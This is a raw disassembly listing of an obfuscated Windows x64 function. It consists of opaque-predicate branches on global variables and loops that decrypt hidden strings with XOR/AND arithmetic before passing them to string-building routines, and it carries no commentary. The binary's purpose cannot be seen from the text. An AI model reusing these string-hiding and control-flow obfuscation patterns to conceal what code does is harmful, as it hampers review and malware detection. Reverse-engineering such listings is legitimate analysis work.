mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d38e8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a064f
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a064f
lea rdi, [0x1406d38e8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a064f
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a061f
cmp dword [0x1406cdc94], 0xa
jl 0x1401a066b
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a066b
jmp 0x1401a0669
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a0693
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a0693
jmp 0x1401a0691
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a06ca
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a06fa
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a06dc
test ebx, ebx
jne 0x1401a0721
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a06f6
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a0723
test al, al
jne 0x1401a0725
cmp edx, 0xa
jl 0x1401a0703
test ebx, ebx
jne 0x1401a071f
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a06ca
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a06ca
jmp 0x1401a071d
jmp 0x1401a071f
jmp 0x1401a0721
jmp 0x1401a0723
mov eax, dword [0x1406d4d70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d4d74], 0xa
setl al
mov edx, eax
and dl, cl
xor dl, 1
xor al, cl
mov ecx, eax
xor cl, dl
xor al, 1
or al, dl
and al, cl
test al, al
jne 0x1401a0754
mov eax, dword [0x140264f46]
mov dword [rbp + 0x59f], eax
movdqu xmm0, xmmword [0x140264f37]
movdqa xmmword [rbp + 0x590], xmm0
mov eax, dword [0x1406d4d78]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406d4d7c], 0xa
setl r8b
or r8b, al
mov al, 0x4b
cmp r8b, 1
jne 0x1401a093c
test al, al
je 0x1401a092d
mov eax, dword [0x1406d44f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406d44f4], 0xa
setl cl
or cl, al
xor r9d, r9d
test cl, cl
je 0x1401a07c9
movzx eax, byte [rbp + r9 + 0x590]
mov edx, eax
and edx, 0xffffffac
or edx, 0xa080003
mov ebx, eax
and ebx, 0x53
xor ebx, edx
mov edx, ebx
xor edx, 0x1ac74fe6
or ebx, 0xef30b01a
xor ebx, 0xef30b01b
or ebx, edx
mov r10d, eax
and r10d, 0xffffffe5
lea r11d, [r9 + 0x39]
mov edi, r11d
not edi
mov edx, r11d
and edx, 0x237806c
mov esi, 0xffffffc6
sub esi, r9d
and esi, 0xb1006983
or esi, edx
mov edx, 0xfffffc6
sub edx, r9d
and edx, 0x8880010
or edx, esi
mov esi, edx
and esi, 0x108f49e5
xor esi, 0x10884981
xor edx, 0xa9472676
or edx, esi
mov esi, eax
xor esi, 0x60
and esi, r10d
mov r14d, ebx
xor r14d, 0xfb2a385
and eax, 0x60
or eax, 0x2322205
xor eax, esi
mov r15d, eax
xor r15d, 0xf27f7e7f
mov esi, ebx
xor esi, 0xf04d5c7a
and esi, r15d
xor eax, 0xd808180
and eax, r14d
not ebx
and ebx, r10d
or ebx, eax
or ebx, esi
or edi, edx
mov eax, edx
and eax, 0x386ec31a
and edx, 0x83912ce5
lea esi, [rdx + 0x848020a]
xor esi, eax
not edx
and r11d, 0x810ce5
lea eax, [r11 + 0x786ed31a]
xor esi, 0x7026d110
and esi, eax
xor r11d, 0x87912ce5
and r11d, edx
or r11d, esi
or edi, 0xef30b01a
mov eax, edi
and eax, 0x10cf4fe5
xor eax, r11d
xor eax, 0x10cf4fe5
not edi
and edi, r11d
or edi, eax
mov eax, ebx
and eax, 0xa4cd483c
or eax, 0x5000b242
and ebx, 0x5b32b7c3
xor ebx, eax
mov eax, edi
xor eax, 0x3c
mov edx, ebx
xor edx, 0x81
and edx, eax
xor ebx, 0x7e
xor edi, 0xc3
and edi, ebx
or edi, edx
mov byte [rbp + r9 + 0x590], dil
add r9, 1
cmp r9, 0x13
jne 0x1401a07c9
test r8b, r8b
jne 0x1401a0adb
mov al, byte [rbp + 0x5a2]
test al, al
je 0x1401a0ad4
mov eax, dword [0x1406d44f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406d44f4], 0xa
setl cl
or cl, al
xor r9d, r9d
test cl, cl
je 0x1401a0965
movzx eax, byte [rbp + r9 + 0x590]
mov edx, eax
and edx, 0xffffffac
or edx, 0xa080003
mov ebx, eax
and ebx, 0x53
xor ebx, edx
mov edx, ebx
xor edx, 0x1ac74fe6
or ebx, 0xef30b01a
xor ebx, 0xef30b01b
or ebx, edx
mov r10d, eax
and r10d, 0xffffffe5
lea r11d, [r9 + 0x39]
mov edi, r11d
not edi
mov edx, r11d
and edx, 0x237806c
mov esi, 0xffffffc6
sub esi, r9d
and esi, 0xb1006983
or esi, edx
mov edx, 0xfffffc6
sub edx, r9d
and edx, 0x8880010
or edx, esi
mov esi, edx
and esi, 0x108f49e5
xor esi, 0x10884981
xor edx, 0xa9472676
or edx, esi
mov esi, eax
xor esi, 0x60
and esi, r10d
mov r14d, ebx
xor r14d, 0xfb2a385
and eax, 0x60
or eax, 0x2322205
xor eax, esi
mov r15d, eax
xor r15d, 0xf27f7e7f
mov esi, ebx
xor esi, 0xf04d5c7a
and esi, r15d
xor eax, 0xd808180
and eax, r14d
not ebx
and ebx, r10d
or ebx, eax
or ebx, esi
or edi, edx
mov eax, edx
and eax, 0x386ec31a
and edx, 0x83912ce5
lea esi, [rdx + 0x848020a]
xor esi, eax
not edx
and r11d, 0x810ce5
lea eax, [r11 + 0x786ed31a]
xor esi, 0x7026d110
and esi, eax
xor r11d, 0x87912ce5
and r11d, edx
or r11d, esi
or edi, 0xef30b01a
mov eax, edi
and eax, 0x10cf4fe5
xor eax, r11d
xor eax, 0x10cf4fe5
not edi
and edi, r11d
or edi, eax
mov eax, ebx
and eax, 0xa4cd483c
or eax, 0x5000b242
and ebx, 0x5b32b7c3
xor ebx, eax
mov eax, edi
xor eax, 0x3c
mov edx, ebx
xor edx, 0x81
and edx, eax
xor ebx, 0x7e
xor edi, 0xc3
and edi, ebx
or edi, edx
mov byte [rbp + r9 + 0x590], dil
add r9, 1
cmp r9, 0x13
jne 0x1401a0965
mov al, byte [rbp + 0x5a2]
jmp 0x1401a07a0
xor eax, eax
jmp 0x1401a07a0
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a0b18
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34a8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a0b78
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a0b78
lea rdi, [0x1406d34a8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a0b78
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a0b48
cmp dword [0x1406cdc94], 0xa
jl 0x1401a0b94
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a0b94
jmp 0x1401a0b92
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a0bbc
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a0bbc
jmp 0x1401a0bba
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a0bf3
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a0c27
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a0c05
test ebx, ebx
jne 0x1401a0c4c
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a0c1f
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a0c50
test al, al
jne 0x1401a2c08
cmp edx, 0xa
jl 0x1401a0c30
test ebx, ebx
jne 0x1401a0c4e
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a0bf3
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a0bf3
jmp 0x1401a0c4a
jmp 0x1401a0c4c
jmp 0x1401a0c4e
jmp 0x1401a0c50
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp edx, 0xa
jl 0x1401a0c64
test edi, edi
jne 0x1401a0ca7
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a0c7e
mov esi, dword [0x1406d3ce4]
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
jne 0x1401a0cab
test al, al
jne 0x1401a0cad
cmp edx, 0xa
jl 0x1401a0c8b
test edi, edi
jne 0x1401a0ca9
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a0c52
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a0c52
jmp 0x1401a0ca5
jmp 0x1401a0ca7
jmp 0x1401a0ca9
jmp 0x1401a0cab
test r14b, r14b
je 0x1401a0e51
movups xmm0, xmmword [0x140264f56]
movups xmmword [rbp + 0x59c], xmm0
movdqu xmm0, xmmword [0x140264f4a]
movdqa xmmword [rbp + 0x590], xmm0
mov eax, dword [0x1406cdc80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406cdc84], 0xa
setl r9b
or r9b, al
mov r10d, dword [0x1406d3cc0]
mov al, 0x54
mov r8d, dword [0x1406d3cc4]
jne 0x1401a0edd
mov edx, dword [0x1406d3cc8]
mov ecx, dword [0x1406d3ccc]
lea eax, [rdx - 1]
imul eax, edx
cmp ecx, 0xa
setge dl
and dl, al
test dl, dl
jne 0x1401a0d24
cmp ecx, 0xa
setl r11b
test al, 1
sete al
mov ecx, r11d
and cl, al
xor cl, 1
xor r11b, al
mov eax, r11d
xor al, cl
not r11b
or r11b, cl
and r11b, al
jne 0x1401a0e4f
mov r14d, 0x7fffffc6
xor r15d, r15d
cmp r15, 0x1c
je 0x1401a0eac
movzx eax, byte [rbp + r15 + 0x590]
mov edx, eax
and edx, 0x48
or edx, 0x40800092
mov ecx, eax
and ecx, 0xffffffb7
xor ecx, edx
mov edx, ecx
xor edx, 0xbcc47a38
or ecx, 0x3bb8555
xor ecx, 0x3bb85d7
or ecx, edx
and eax, 0xffffffaa
lea edx, [r15 + 0x39]
lea ebx, [r14 - 0x80000000]
and ebx, 0x80500224
mov edi, edx
and edi, 0x7dabfddb
or edi, ebx
mov ebx, edi
and ebx, 0xfc407aaa
xor ebx, 0x80440220
xor edi, 0x7e10788e
or edi, ebx
mov ebx, r14d
and ebx, 0x74da589b
and edx, 0x8b25a764
or edx, ebx
mov ebx, edx
and ebx, 0x3bb8555
xor ebx, 0x3218544
xor edx, 0x889e2231
or edx, ebx
mov r12d, ecx
not r12d
and r12d, eax
mov esi, edx
and esi, 0xf772f0b9
mov ebx, edx
and ebx, 0x88d0f46
or ebx, 0xa1204030
xor esi, edi
xor esi, ebx
or edx, edi
mov edi, esi
xor edi, 0xcf
xor esi, edx
xor esi, 0xcf
or edi, edx
not edi
or edi, esi
xor eax, ecx
xor eax, edi
xor eax, r12d
not al
mov byte [rbp + r15 + 0x590], al
add r15, 1
add r14d, 0xffffffff
test r11b, r11b
je 0x1401a0d5c
jmp 0x1401a0e4f
movups xmm0, xmmword [0x140264f9a]
movups xmmword [rbp + 0x59a], xmm0
movdqu xmm0, xmmword [0x140264f90]
movdqa xmmword [rbp + 0x590], xmm0
mov eax, dword [0x1406ce420]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406ce424], 0xa
setl r8b
or r8b, cl
mov ecx, dword [0x1406d46d8]
mov bl, 0x52
mov edx, dword [0x1406d46dc]
cmp r8b, 1
jne 0x1401a1ea2
jmp 0x1401a1a7b
lea eax, [r10 - 1]
imul eax, r10d
test al, 1
sete cl
cmp r8d, 0xa
setl al
mov edx, eax
and dl, cl
xor dl, 1
xor al, cl
mov ecx, eax
xor cl, dl
not al
or al, dl
and al, cl
test al, al
jne 0x1401a0ed3
mov al, byte [rbp + 0x5ab]
test al, al
je 0x1401a1058
lea r11d, [r10 - 1]
imul r11d, r10d
mov edx, dword [0x1406d3cc8]
mov ecx, dword [0x1406d3ccc]
lea eax, [rdx - 1]
imul eax, edx
cmp ecx, 0xa
setge dl
and dl, al
test dl, dl
jne 0x1401a0f07
cmp ecx, 0xa
setl r14b
test al, 1
sete al
mov ecx, r14d
and cl, al
xor cl, 1
xor r14b, al
mov eax, r14d
xor al, cl
not r14b
or r14b, cl
and r14b, al
jne 0x1401a1071
mov r15d, 0x7fffffc6
xor r12d, r12d
cmp r12, 0x1c
je 0x1401a1033
movzx ecx, byte [rbp + r12 + 0x590]
mov edx, ecx
and edx, 0x48
or edx, 0x40800092
mov eax, ecx
and eax, 0xffffffb7
xor eax, edx
mov edx, eax
xor edx, 0xbcc47a38
or eax, 0x3bb8555
xor eax, 0x3bb85d7
or eax, edx
and ecx, 0xffffffaa
lea edx, [r12 + 0x39]
lea esi, [r15 - 0x80000000]
and esi, 0x80500224
mov edi, edx
and edi, 0x7dabfddb
or edi, esi
mov esi, edi
and esi, 0xfc407aaa
xor esi, 0x80440220
xor edi, 0x7e10788e
or edi, esi
mov esi, r15d
and esi, 0x74da589b
and edx, 0x8b25a764
or edx, esi
mov esi, edx
and esi, 0x3bb8555
xor esi, 0x3218544
xor edx, 0x889e2231
or edx, esi
mov r13d, eax
not r13d
and r13d, ecx
mov ebx, edx
and ebx, 0xf772f0b9
mov esi, edx
and esi, 0x88d0f46
or esi, 0xa1204030
xor ebx, edi
xor ebx, esi
or edx, edi
mov esi, ebx
xor esi, 0xcf
xor ebx, edx
xor ebx, 0xcf
or esi, edx
not esi
or esi, ebx
xor ecx, eax
xor ecx, esi
xor ecx, r13d
not cl
mov byte [rbp + r12 + 0x590], cl
add r12, 1
add r15d, 0xffffffff
test r14b, r14b
je 0x1401a0f3f
jmp 0x1401a1071
test r11b, 1
sete cl
cmp r8d, 0xa
setl al
mov edx, eax
and dl, cl
xor dl, 1
xor al, cl
mov ecx, eax
xor cl, dl
not al
or al, dl
and al, cl
test al, al
jne 0x1401a1054
test r9b, r9b
jne 0x1401a1073
xor eax, eax
cmp byte [rbp + 0x5ab], 0
je 0x1401a0edd
jmp 0x1401a0d0a
jmp 0x1401a1071
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a10b0
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34c8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a1110
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a1110
lea rdi, [0x1406d34c8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a1110
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a10e0
cmp dword [0x1406cdc94], 0xa
jl 0x1401a112c
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a112c
jmp 0x1401a112a
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a1154
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a1154
jmp 0x1401a1152
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a118b
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a11bb
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a119d
test ebx, ebx
jne 0x1401a11e0
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a11b7
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a11e4
test al, al
jne 0x1401a11e6
cmp edx, 0xa
jl 0x1401a11c4
test ebx, ebx
jne 0x1401a11e2
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a118b
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a118b
jmp 0x1401a11de
jmp 0x1401a11e0
jmp 0x1401a11e2
jmp 0x1401a11e4
movzx eax, word [0x140264f76]
mov word [rbp + 0x340], ax
movdqu xmm0, xmmword [0x140264f66]
mov eax, dword [0x1406d0088]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d008c], 0xa
setl r8b
or r8b, cl
mov ecx, dword [0x1406d43d0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete dl
cmp dword [0x1406d43d4], 0xa
movdqa xmmword [rbp + 0x330], xmm0
setl r9b
or r9b, dl
xor edx, edx
movzx ebx, byte [rbp + rdx + 0x330]
mov edi, 0x7fffffc6
sub edi, edx
and edi, 0x48858210
lea ecx, [rdx + 0x39]
mov eax, ecx
and eax, 0x84204042
or eax, edi
mov esi, 0x3fffffc6
sub esi, edx
and esi, 0x335a3dad
or esi, eax
mov eax, esi
xor eax, 0xcc42092b
or esi, 0x48624969
xor esi, 0x7bfffffd
or esi, eax
mov eax, ecx
and eax, 0x1f72f2b6
mov edi, 0xffffffc6
sub edi, edx
and edi, 0xe08d0d49
or edi, eax
or ecx, 0xb79db696
xor edi, 0xa8ef4420
and edi, ecx
mov eax, esi
not eax
and eax, edi
xor edi, esi
xor edi, eax
mov eax, ebx
xor eax, 0xfc
mov ecx, edi
xor ecx, 0x6a
xor ebx, 3
and ebx, ecx
xor edi, 0x95
and edi, eax
or edi, ebx
mov byte [rbp + rdx + 0x330], dil
test r9b, r9b
je 0x1401a13b5
add rdx, 1
cmp rdx, 0x12
jne 0x1401a1246
test r8b, r8b
jne 0x1401a13b7
mov r10d, 0x7fffffc6
xor ebx, ebx
movzx edi, byte [rbp + rbx + 0x330]
mov eax, r10d
and eax, 0x48858210
lea edx, [rbx + 0x39]
mov ecx, edx
and ecx, 0x84204042
or ecx, eax
lea eax, [r10 - 0x40000000]
and eax, 0x335a3dad
or eax, ecx
mov ecx, eax
xor ecx, 0xcc42092b
or eax, 0x48624969
xor eax, 0x7bfffffd
or eax, ecx
mov ecx, edx
and ecx, 0x1f72f2b6
lea esi, [r10 - 0x80000000]
and esi, 0xe08d0d49
or esi, ecx
or edx, 0xb79db696
xor esi, 0xa8ef4420
and esi, edx
mov ecx, eax
not ecx
and ecx, esi
xor esi, eax
xor esi, ecx
mov eax, edi
xor eax, 0xfc
mov ecx, esi
xor ecx, 0x6a
xor edi, 3
and edi, ecx
xor esi, 0x95
and esi, eax
or esi, edi
mov byte [rbp + rbx + 0x330], sil
test r9b, r9b
je 0x1401a13b3
add rbx, 1
add r10d, 0xffffffff
cmp rbx, 0x12
jne 0x1401a1304
xor edx, edx
jmp 0x1401a1246
jmp 0x1401a13b3
jmp 0x1401a13b5
lea rcx, [0x1406d38a8]
lea rdx, [rbp + 0x330]
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a1422
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a1422
lea rsi, [0x1406d38a8]
lea rdi, [rbp + 0x330]
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a1422
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a13f2
mov rax, qword [0x140264f7f]
mov qword [rbp + 0x597], rax
mov rax, qword [0x140264f78]
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406cdffc]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x1406cdff8], 0xa
setge al
and al, cl
test al, al
jne 0x1401a1456
mov dl, 0x77
mov eax, 1
mov r8d, 0xffffffc6
movzx edx, dl
mov ecx, r8d
and ecx, 0xa84519ca
lea edi, [rax + 0x38]
mov esi, edi
and esi, 0x57bae635
or esi, ecx
xor esi, edx
xor esi, 0xca
and esi, edi
mov ecx, r8d
and ecx, 0x40
mov ebx, edi
and ebx, 0x30
or ebx, ecx
and edi, 0x8f
or edi, ebx
xor edi, edx
xor edi, 0x40
and edi, edx
or edi, esi
mov byte [rbp + rax + 0x58f], dil
cmp rax, 0xf
je 0x1401a14c8
movzx edx, byte [rbp + rax + 0x590]
add rax, 1
add r8d, 0xffffffff
jmp 0x1401a1467
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a1505
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d38e8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a1565
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a1565
lea rdi, [0x1406d38e8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a1565
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a1535
cmp dword [0x1406cdc94], 0xa
jl 0x1401a1581
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a1581
jmp 0x1401a157f
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a15a9
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a15a9
jmp 0x1401a15a7
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a15e0
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a1610
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a15f2
test ebx, ebx
jne 0x1401a1637
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a160c
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a1639
test al, al
jne 0x1401a163b
cmp edx, 0xa
jl 0x1401a1619
test ebx, ebx
jne 0x1401a1635
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a15e0
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a15e0
jmp 0x1401a1633
jmp 0x1401a1635
jmp 0x1401a1637
jmp 0x1401a1639
mov al, byte [0x140264f8f]
mov byte [rbp + 0x598], al
mov rax, qword [0x140264f87]
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406ce578]
mov ecx, dword [0x1406ce57c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
mov dword [rbp + 0x640], edx
mov dword [rbp + 0x630], ecx
cmp ecx, 0xa
jl 0x1401a16aa
cmp dword [rbp + 0x640], 0
je 0x1401a16aa
mov al, 0x7d
mov byte [rbp + 0x650], 0x53
mov r13b, 0x5a
mov r9b, 0x5e
mov r11b, 0x51
mov r12b, 0x50
mov r10b, 0x2f
mov r14b, 0x41
mov r15b, 0x41
mov r8b, 0x51
jmp 0x1401a189f
mov r14b, 0x41
mov r10b, 0x2f
mov r12b, 0x50
mov r8b, 0x51
mov r9b, 0x5e
mov r13b, 0x5a
mov byte [rbp + 0x650], 0x53
mov al, 0x7d
mov r11b, 0x51
jmp 0x1401a1783
mov cl, byte [rbp + 0x650]
xor cl, 0x3a
mov byte [rbp + 0x650], cl
mov byte [rbp + 0x591], cl
mov ecx, r13d
and cl, 0x29
mov edx, r13d
and dl, 0x12
or dl, 1
xor dl, cl
and r13b, 0xc4
or r13b, dl
xor r13b, 0x3a
mov byte [rbp + 0x592], r13b
xor r9b, 0x3c
mov byte [rbp + 0x593], r9b
mov ecx, r8d
and cl, 0x29
mov edx, r8d
and dl, 0x14
or dl, 1
xor dl, cl
and r8b, 0xc2
or r8b, dl
xor r8b, 0x3c
mov byte [rbp + 0x594], r8b
xor r11b, 0x3e
mov byte [rbp + 0x595], r11b
mov ecx, r12d
and cl, 0x29
mov edx, r12d
and dl, 0x16
or dl, 1
xor dl, cl
and r12b, 0xc0
or r12b, dl
xor r12b, 0x3e
mov byte [rbp + 0x596], r12b
xor r10b, 0x40
mov byte [rbp + 0x597], r10b
xor r15b, 0x41
mov byte [rbp + 0x598], r15b
mov r14d, r15d
test r15b, r15b
je 0x1401a188a
mov ecx, dword [0x1406d42a8]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
sete bl
cmp dword [0x1406d42ac], 0xa
setl cl
setge dl
or cl, bl
and sil, dl
test cl, cl
jne 0x1401a17b5
xor edi, edi
test dil, 1
mov edi, ecx
je 0x1401a17ad
mov ecx, eax
and cl, 0x29
mov edx, eax
and dl, 0x10
or dl, 1
xor dl, cl
and al, 0xc6
or al, dl
xor al, 0x38
mov byte [rbp + 0x590], al
test sil, sil
jne 0x1401a1888
mov cl, byte [rbp + 0x650]
xor cl, 0x3a
mov byte [rbp + 0x650], cl
mov byte [rbp + 0x591], cl
mov ecx, r13d
and cl, 0x29
mov edx, r13d
and dl, 0x12
or dl, 1
xor dl, cl
and r13b, 0xc4
or r13b, dl
xor r13b, 0x3a
mov byte [rbp + 0x592], r13b
xor r9b, 0x3c
mov byte [rbp + 0x593], r9b
mov ecx, r8d
and cl, 0x29
mov edx, r8d
and dl, 0x14
or dl, 1
xor dl, cl
and r8b, 0xc2
or r8b, dl
xor r8b, 0x3c
mov byte [rbp + 0x594], r8b
xor r11b, 0x3e
mov byte [rbp + 0x595], r11b
mov ecx, r12d
and cl, 0x29
mov edx, r12d
and dl, 0x16
or dl, 1
xor dl, cl
and r12b, 0xc0
or r12b, dl
xor r12b, 0x3e
mov byte [rbp + 0x596], r12b
xor r10b, 0x40
mov byte [rbp + 0x597], r10b
xor r14b, 0x41
mov byte [rbp + 0x598], r14b
mov r15d, r14d
jmp 0x1401a188d
jmp 0x1401a1888
xor r15d, r15d
cmp dword [rbp + 0x630], 0xa
jl 0x1401a1904
cmp dword [rbp + 0x640], 0
je 0x1401a1904
test r15b, r15b
je 0x1401a18fc
mov ecx, dword [0x1406d42a8]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
sete dl
cmp dword [0x1406d42ac], 0xa
setl cl
setge bl
or cl, dl
and sil, bl
test cl, cl
jne 0x1401a18d6
xor edi, edi
test dil, 1
mov edi, ecx
je 0x1401a18ce
mov ecx, eax
and cl, 0x29
mov edx, eax
and dl, 0x10
or dl, 1
xor dl, cl
and al, 0xc6
or al, dl
xor al, 0x38
mov byte [rbp + 0x590], al
test sil, sil
je 0x1401a16cd
jmp 0x1401a18fa
xor r15d, r15d
jmp 0x1401a177a
